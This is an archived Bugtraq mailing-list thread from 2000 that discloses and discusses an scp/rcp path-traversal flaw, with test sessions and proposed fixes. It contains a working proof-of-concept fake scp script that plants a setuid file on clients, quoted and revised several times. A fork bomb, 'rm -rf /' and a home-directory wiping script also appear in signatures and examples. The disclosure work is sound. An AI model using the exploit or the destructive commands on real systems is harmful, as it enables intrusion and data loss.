5534514 2000-09-30 22:41 /53 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13012>
Ärende: scp file transfer hole
------------------------------------------------------------
From: Michal Zalewski <lcamtuf@TPI.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.10.10009302120460.852-100000@localhost>
This issue appears quite often - tar suffers from problem of this
kind as well (using cute symlink tricks, you can create an archive,
which, when unpacked, can overwrite or create specific files anywhere
in your filesystem). This time, similar scp vulnerability has been
found and acknowledged in sshd 1.2.xx releases (no information on
2.0.xx).
When you are scp'ing files from remote machine to your local
computer, modified scp service on the second endpoint can spoof
legitimate scp data, overwriting arbitrary files.
As a proof of concept, I created trivial scp replacement (put it on
remote machine in the place of original scp binary - usually in
/usr/local/bin). It will try to exploit any file transfer, creating
setuid /tmp/ScpIsBuggy file on client system:
--
#!/bin/bash
echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
--
This isn't really nice :P After SSH become popular, people started to
transfer files using scp (both user files and backups, logs etc).
Successful exploitation of single server (or even single account)
might cause futher intrusions on client machines.
Another thing I can imagine - automated scp worm, which will, after
intrusion, intercept futher scp sessions (eg. using ptrace) to send
itself to remote system (and, probably, doing other operations as
well). This doesn't actually require it to operate on privledged
level :>
What's probably the most alarming, there is no simple way to detect
such attack - path is stripped before displaying filenames on client
side - in above example, you'll see successful transfer of ScpIsBuggy
file, suggesting it has been downloaded in current directory. Also,
file modes are not verified, so suid files can be placed in remote
system (but that's not the point, even without it, remote attack
eg. on .ssh/authorized_keys is possible).
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
(5534514) ------------------------------------------(Ombruten)
5536157 2000-10-01 18:37 /80 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13023>
Kommentar till text 5534514 av Brevbäraren (som är implementerad i) Python
Ärende: openssh2.2.p1 - Re: scp file transfer hole
------------------------------------------------------------
From: Martin MaD Douda <martin@DOUDA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.21.0010011207180.5758-100000@madness.madness.mad>
Openssh2.2.0p1 IS vulnerable, but some change is needed in fake scp to
exploit it.
Using your scripts I could make suid scpuser's file in /tmp, but
probably due to some protocol change in scp, the file was empty and
scp has died with "lost connection".
Since openssh 2.2.0p1 is latest existing version, this vulnerability
probably exist in every single scp version in the world.
Martin
On Sat, 30 Sep 2000, Michal Zalewski wrote:
> This issue appears quite often - tar suffers from problem of this kind as
> well (using cute symlink tricks, you can create an archive, which, when
> unpacked, can overwrite or create specific files anywhere in your
> filesystem). This time, similar scp vulnerability has been found and
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).
>
> When you are scp'ing files from remote machine to your local computer,
> modified scp service on the second endpoint can spoof legitimate scp data,
> overwriting arbitrary files.
>
> As a proof of concept, I created trivial scp replacement (put it on remote
> machine in the place of original scp binary - usually in /usr/local/bin).
> It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy
> file on client system:
>
> --
> #!/bin/bash
>
> echo "D0755 0 ../../../../../../tmp/nope"
> echo "D0755 0 ../../../../../../tmp"
> echo "C4755 200 ScpIsBuggy"
> dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
> dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
> --
>
> This isn't really nice :P After SSH become popular, people started to
> transfer files using scp (both user files and backups, logs etc).
> Successful exploitation of single server (or even single account) might
> cause futher intrusions on client machines.
>
> Another thing I can imagine - automated scp worm, which will, after
> intrusion, intercept futher scp sessions (eg. using ptrace) to send itself
> to remote system (and, probably, doing other operations as well). This
> doesn't actually require it to operate on privledged level :>
>
> What's probably the most alarming, there is no simple way to detect such
> attack - path is stripped before displaying filenames on client side -
> in above example, you'll see successful transfer of ScpIsBuggy file,
> suggesting it has been downloaded in current directory. Also, file modes
> are not verified, so suid files can be placed in remote system (but that's
> not the point, even without it, remote attack eg. on .ssh/authorized_keys
> is possible).
>
> _______________________________________________________
> Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
> [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
> =-----=> God is real, unless declared integer. <=-----=
>
>
--------------------------------------------------------------------------------
Martin "MaD" Douda
WEB: http://martin.douda.net/ PHONE:+420603752779 ICQ# 86467013
EMAIL: <martin@douda.net>, <mad@gate.mobil.cz> (160 characters only)
PGP:ID=0x6FE43023 Fingerprint:E495 11DA EF6E 0DD6 965A 54F3 888E CC9E 6FE4 3023
--------------------------------------------------------------------------------
[1]+ Done rm -rf /
(5536157) ------------------------------------------(Ombruten)
5536162 2000-10-01 18:46 /27 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13025>
Kommentar till text 5534514 av Brevbäraren (som är implementerad i) Python
Ärende: Re: scp file transfer hole
------------------------------------------------------------
From: stanislav shalunov <shalunov@INTERNET2.EDU>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <87em21kw78.fsf@cain.internet2.edu>
Michal Zalewski <lcamtuf@TPI.PL> writes:
> When you are scp'ing files from remote machine to your local computer,
> modified scp service on the second endpoint can spoof legitimate scp data,
> overwriting arbitrary files.
OpenSSH-1.2.1 appears to create the file wherever you tell it to, but
refuses to set setuid bit on it.
That's not quite as bad as SSH 1.2 (which will even conveniently allow
setting arbitrary file mode), but you can still overwrite
~/.ssh/authorized_keys or similar files to the same effect, as you
point you.
Very disturbing--this is supposed to be security software.
-- Stanislav Shalunov <shalunov@internet2.edu> Internet Engineer,
Internet2
A language that doesn't have everything is actually easier to program
in than some that do. -- Dennis M. Ritchie
(5536162) ------------------------------------------(Ombruten)
5540363 2000-10-02 18:06 /155 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13030>
Kommentar till text 5534514 av Brevbäraren (som är implementerad i) Python
Ärende: Re: scp file transfer hole
------------------------------------------------------------
Hi,
I have two threads in this email. The first one deals with the
writing to "arbitrary files" and the second one deals with the
behavior of OpenSSH 2.2.0p1 using the exploit given by Michal
Zalewski.
> This issue appears quite often - tar suffers from problem of this kind as
> well (using cute symlink tricks, you can create an archive, which, when
> unpacked, can overwrite or create specific files anywhere in your
> filesystem). This time, similar scp vulnerability has been found and
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).
>
> When you are scp'ing files from remote machine to your local computer,
> modified scp service on the second endpoint can spoof legitimate scp data,
> overwriting arbitrary files.
Arbitrary files being limited to what the user running scp has write
access too, at least with OpenSSH 2.2.0p1 on the local side and the
ssh program (on the local side) not being suid.
For the test I had OpenSSH 2.2.1p1 on the local end, ssh not suid,
sshd 1.2.27 on the remote end, sshd running as root. Both the local
and remote host were Solaris 2.6.
I was only able to overwrite files that I myself had permission to
write to. While this exploit could create files on the local system
that are owned by me and suid to me, if I'm not root, its only
harming myself. Of course if I had, say, a root cron job that ran a
program that I myself had rights to, this could be a problem. Some
malicious remote host that I scp files from could overwrite scripts
that get executed by root via cron and would have free roam of my
local system. But if its security you are after, having a root cron
that does this isn't a good idea. I talk about suid files farther
down, which pose their own possibilities.
IMHO it isn't a good practice to allow root to scp files to/from
hosts, or to ssh in for that matter, especially if its part of an
automated process of moving logfiles or something. By disabling root
ssh access, a user scp'ing files can only damage files they have
rights to. To protect yourself, make sure that everything run from
root's cron (and other automated tasks that run as root) don't run
programs that are writable by users.
With OpenSSH 2.2.0p1 as the client, to protect important files (esp
~/.ssh/authorized_keys, ~/.ssh/identity*) change them to mode 0400. No
reason to have them writable, and if they are not writable, OpenSSH
2.2.0p1 scp won't overwrite them. Other versions of ssh may be
vulnerable. I'm only demonstrating OpenSSH 2.2.0p1 here.
I tried to scp a file from the remote machine and write it to the
local machine where the file already existed on the local machine (ie
both remote and local machine had exact same file), and had modes
0400 on the local machine. I wasn't able to overwrite the file on
the local side. Here is the session:
-+-+-+-+-+-+-+-+-+-+-
118 localhost:~> ssh remotehost "ls -al foo.txt"
Enter passphrase for RSA key 'jdoe@localhost':
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt
119 localhost:~> whoami
jdoe
120 localhost:~> ls -al foo.txt
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt
121 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
./foo.txt: Permission denied
122 localhost:~> ls -al foo.txt
-r-------- 1 jdoe user 931 Sep 27 13:26 foo.txt
-+-+-+-+-+-+-+-+-+-+-
If I change the permissions on the copy of foo.txt on the local
machine to 0600 and repeat the scp, the foo.txt file on the local
machine gets overwritten without warning. While it can be argued
that this is a bad thing (a warning would be nice), its nothing
different than using
/bin/cp -f <sfile> <dfile>
to copy a file locally.
Now for the second thread...
> As a proof of concept, I created trivial scp replacement (put it on remote
> machine in the place of original scp binary - usually in /usr/local/bin).
> It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy
> file on client system:
>
> --
> #!/bin/bash
>
> echo "D0755 0 ../../../../../../tmp/nope"
> echo "D0755 0 ../../../../../../tmp"
> echo "C4755 200 ScpIsBuggy"
> dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
> dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
> --
Tried this exploit using the above code in place of the scp program
on the remote system (Debian Linux) running sshd 1.2.27 and the local
system running OpenSSH 2.2.0p1 on Solaris 2.6. The exploit created a
0 byte file on the local machine with modes 4700. Here is that
session:
-+-+-+-+-+-+-+-+-+-+-
101 localhost:~> scp remotehost:foo.txt .
Enter passphrase for RSA key 'jdoe@localhost':
ScpIsBuggy 0% | --:-- ETA
lost connection
102 localhost:~> ls -al /tmp/Scp*
-rws------ 1 jdoe user 0 Oct 2 00:06 /tmp/ScpIsBuggy
-+-+-+-+-+-+-+-+-+-+-
Here again, I had to have write permission to /tmp/ScpIsBuggy on the
local machine for the file to even be created.
However, even though the file is owned by me and suid me and is 0
bytes with OpenSSH 2.2.0p1, other versions of ssh/scp may in fact
enable a malicious remote host to write files onto the local system
anywhere the user running scp has write permissions to and make it
suid that user. Then the user is open for attacks from other users
who can log into the local system.
For instance, if I were to scp a compiled C program that did the
equivalent of this shell script:
#!/bin/bash
cd
/bin/rm -rf *
from a malicious remote host onto my local system, using a scp that
could write the program to /tmp/<program>, give ownership to me and
set to mode 4555, then anyone who can log into the local system could
simply run /tmp/<program> and delete everything in my home directory.
And all of this could be done without me knowing where <program> was
written to on the local system. <program> could also send email as
me, basically could do anything that I had rights to do.
Just my $0.02 worth.
--
-------------------------------------------------------------
Craig Ruefenacht Systems Engineer
ruefenac@digsigtrust.com Digital Signature Trust
(801) 983-4401 http://www.digsigtrust.com/
-------------------------------------------------------------
(5540363) ------------------------------------------(Ombruten)
Kommentar i text 5540364 av Brevbäraren (som är implementerad i) Python
5540364 2000-10-02 18:06 /8 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13031>
Kommentar till text 5540363 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (smime.p7s) till: Re: scp file transfer hole
------------------------------------------------------------
0 [ *H÷
L0 H1 0 + 0 *H÷
00í Ð G2 | í0
*H÷
0©1 0 Uus1
0 UUtah10USalt Lake City1$0"U
Digital Signature Trust Co.10U DSTCA X110U
DST RootCA X11!0 *H÷
ca@digsigtrust.com0
000728032855Z
010728032855Z0ß1 0 UUS1 0 UUT10USalt Lake City1)0'U
DST TrustID Personal Certificate10U Zions
Bank10UCRAIG R
RUEFENACHT1'0%
*H÷
ruefenac@digsigtrust.com1$0"
&ò,dD01E4732.27C.1E.20EB00
*H÷
0 Ï
¢¾îvVÖ0GWKzcú ÄEÒJ»%jz¨XsQD÷àªwPs ´G¬ãWvÎrÚ§
KªS@|#L½ÑG¬(ëVLl=Ú·à?çÉBZÕÅîu>á L1Ñ^«èflýtâoTo'qÙäænßX'
£r0n0¢U 00 `Hù/ 00R+Fhttps://secure.digsigtrust.com/docs/policies/ts/dst-cps-v19990824.html0*+0 The value of this Trust ID Certificate, its reliance limit, and the liability of the issuer are established by contract and limited by Utah law. To reasonably rely on this certificate, you must be an authorized relying party and validate it at: https://secure.digsigtrust.com/ts0|U u0s0q o mkldap://ldap.digsigtrust.com/ou=DSTCA X1,o=Digital Signature Trust Co.,c=US?certificateRevocationList;binary0+ `HøB
The value of this Trust ID Certificate, its reliance limit, and the liability of the issuer are established by contract and limited by Utah law. To reasonably rely on this certificate, you must be an authorized relying party and validate it at: https://secure.digsigtrust.com/ts0 U 0 0 U ø0
*H÷
»S,¬LsçÝÓhØ¿U]Ev `°UÝÐîÎR¹¤ASv2aµI¥®:ÿqde
iYoÌ»Æлl׶BûñÚÃs :ùû=KhäQÈΰA*§^¡ JÛA\ (ýè
ì Q&y©H)¨ KñOUfó¶+Uô~¸ÎSxxÆpmg·±×Êí9ö÷Ðfc½-»©qàô mQ-JB%¹eÜl-ñ*ìk@ Mø!R ¡Ùq +ú»ÞîA~Óéä;oE
ÄtIѨ ·Ã*>¢ò·çàY3Þ'är#% f(ù100¿0©1 0 Uus1
0 UUtah10USalt Lake City1$0"U
Digital Signature Trust Co.10U DSTCA X110U
DST RootCA X11!0 *H÷
ca@digsigtrust.com Ð G2 | í0 + ±0 *H÷
1 *H÷
0 *H÷
1
001002064954Z0# *H÷
1â]¡*¥£\y¶ þ
"¸lt0R *H÷
1E0C0
*H÷
0*H÷
0+0
*H÷
@0
*H÷
(0
*H÷
ØI¢ºYrIÝ%IR
;Æ»¦=TêbzQÛáà_|¬}¨: ôAdG ØÙùÅáDï´ üi¢3sôCÆí].¨Ä4Z=øü~"
éÍüéåÆÁºVù§0Þp³g Û! $ºõÏ@æÝ"ºa+ßîCß.´ËÞ
(5540364) ------------------------------------------(Ombruten)
5540626 2000-10-02 19:25 /26 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13038>
Kommentar till text 5534514 av Brevbäraren (som är implementerad i) Python
Ärende: rcp file transfer hole (was: scp file transfer hole)
------------------------------------------------------------
From: Markus Friedl <Markus.Friedl@INFORMATIK.UNI-ERLANGEN.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20001002130658.A5228@faui02.informatik.uni-erlangen.de>
On Sat, Sep 30, 2000 at 09:21:17PM +0200, Michal Zalewski wrote:
> This issue appears quite often - tar suffers from problem of this kind as
> well (using cute symlink tricks, you can create an archive, which, when
> unpacked, can overwrite or create specific files anywhere in your
> filesystem). This time, similar scp vulnerability has been found and
> acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).
well, this is not a scp problem. it's a rcp problem. scp is nothing
but the plain old rcp protocol over ssh instead of rsh, in the same
way you can do 'cvs' or 'rsync' over ssh.
so all secure-shell's derived from the original ssh-1.2.x releases
suffer from this problem (including openssh). however, ssh-2.x uses a
different protocol and is not vulnerable to this specific bug.
how should this be fixed in a reasonable way? i don't think questions
similar to "do you really want to create /bla/bla/bla? (yes/no)" would
be useful.
-markus
(5540626) ------------------------------------------
5541429 2000-10-02 23:44 /32 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13042>
Kommentar till text 5536157 av Brevbäraren (som är implementerad i) Python
Ärende: Re: openssh2.2.p1 - Re: scp file transfer hole
------------------------------------------------------------
Martin MaD Douda <martin@DOUDA.NET> writes:
> Using your scripts I could make suid scpuser's file in /tmp, but probably
> due to some protocol change in scp, the file was empty and scp has died
> with "lost connection".
It worked much better for me once I removed all "of=/dev/stdout" from
the script. All dd versions that I know have stdout as default output
target, anyway. The new version created a 200 byte file alright:
--
#!/bin/bash
echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom bs=200 count=1 2>/dev/null
dd if=/dev/zero bs=1 count=2 2>/dev/null
--
> Since openssh 2.2.0p1 is latest existing version, this vulnerability
> probably exist in every single scp version in the world.
Data Fellows/SSH Communication Security's ssh 2 uses a different file
transfer protocol. So the above exploit won't work. That doesn't mean
that there are more sanity checks, though.
--
Robbe
(5541429) ------------------------------------------
Kommentar i text 5541430 av Brevbäraren (som är implementerad i) Python
5541430 2000-10-02 23:44 /9 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13043>
Kommentar till text 5541429 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga (signature.ng) till: Re: openssh2.2.p1 - Re: scp file transfer hole
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE52MCB33KcuuZYPvsRArkFAKDTVA+D+j9/98ObJ/Dyc0HwmsHWZQCfVrXw
ZiCFV7sUq0cFN0pt2FyVka8=
=CqTV
-----END PGP SIGNATURE-----
(5541430) ------------------------------------------
5545002 2000-10-03 19:30 /52 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13069>
Kommentar till text 5541857 av Brevbäraren (som är implementerad i) Python
Ärende: Re: rcp file transfer hole (was: scp file transfer hole)
------------------------------------------------------------
From: Scott Gifford <sgifford@TIR.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <m33diebbn5.fsf@sghome.tir.com>
Jan Niehusmann <jan@GONDOR.COM> writes:
> On Mon, Oct 02, 2000 at 01:06:58PM +0200, Markus Friedl wrote:
> > how should this be fixed in a reasonable way? i don't think questions
> > similar to "do you really want to create /bla/bla/bla? (yes/no)" would
> > be useful.
>
> scp could parse the arguments locally. I can only see three cases:
>
> 1) scp is called with two file arguments:
> scp remote:/x/y/file /local/file
>
> in this case, scp should deny any access to files other than /local/file
>
> 2) scp is called with one file and one directory:
> scp remote:/x/y/file /local/dir/
>
> in this case, scp should only allow writes to /local/dir/file, and especially
> not to files in subdirectories of /local/dir/.
>
> 3) scp is called with -r and two directories:
> scp -r remote:/x/y/dir/ /local/dir/
>
> in this case, scp has to allow writes to /local/dir/* and subdirectories,
> but the user should expect that, so its probably ok.
There is one more case:
4) scp is called with multiple files or a pattern, and one directory
scp remote:/x/y/\*.c /local/dir/
scp remote1:/x/y/file1 remote2:/x/y/file2 /local/dir/
in this case, scp should allow writes to /local/dir/*, but not to
subdirectories.
I think that this is by far the best solution I've seen proposed to
this; it solves the problem silently, remaining completely invisible
to users and scripts.
----ScottG.
>
>
> (I said scp, rcp is the same, of course)
>
> Jan
(5545002) ------------------------------------------
5545321 2000-10-03 21:15 /24 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13084>
Kommentar till text 5541857 av Brevbäraren (som är implementerad i) Python
Ärende: Re: rcp file transfer hole (was: scp file transfer hole)
------------------------------------------------------------
On 2000-10-02 19:06:46 +0200, Jan Niehusmann wrote:
> On Mon, Oct 02, 2000 at 01:06:58PM +0200, Markus Friedl wrote:
> > how should this be fixed in a reasonable way? i don't think questions
> > similar to "do you really want to create /bla/bla/bla? (yes/no)" would
> > be useful.
>
[...]
> 3) scp is called with -r and two directories:
> scp -r remote:/x/y/dir/ /local/dir/
A recursive tree walk can never generate a ".." entry on a Unix-like
system. So if you deny access to all files which contain /../ after
the /local/dir/ entered by the command line, you should be save.
hp
--
_ | Peter J. Holzer | Any setuid root program that does an
|_|_) | Sysadmin WSR / LUGA | exec() somewhere is just a less
| | | hjp@wsr.ac.at | user friendly version of su.
__/ | http://www.hjp.at/ | -- Olaf Kirch on bugtraq 2000-08-07
(5545321) ------------------------------------------(Ombruten)
Kommentar i text 5545322 av Brevbäraren (som är implementerad i) Python
5545322 2000-10-03 21:15 /12 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <13085>
Kommentar till text 5545321 av Brevbäraren (som är implementerad i) Python
Ärende: Bilaga till: Re: rcp file transfer hole (was: scp file transfer hole)
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
iQDQAwUBOdnfd1LjemazOuKpAQGdpQXSAvlef6PmI8WHwJjAx8xPg2roxLao9fYx
emBOG1qgGas6GuJoVz2NcVz+zXDlM4CVhF51qtUeD85tfSWuRnvKbGwBxaQGdrM+
ofe4RwKBG4iQxOIlECoaj4wDrjY064EdSi8yI6uZApgqEF8+Mh74slDvm/pSEbcE
u8jEdfrcT2QLXhdNZx8hNMgsOOS3pzPPbS7SqMEYkm4kRwg+joUfz8ADetNUXrfD
Sknp4+JFiToFc00tDdfYGtWm0A==
=DwDW
-----END PGP SIGNATURE-----
(5545322) ------------------------------------------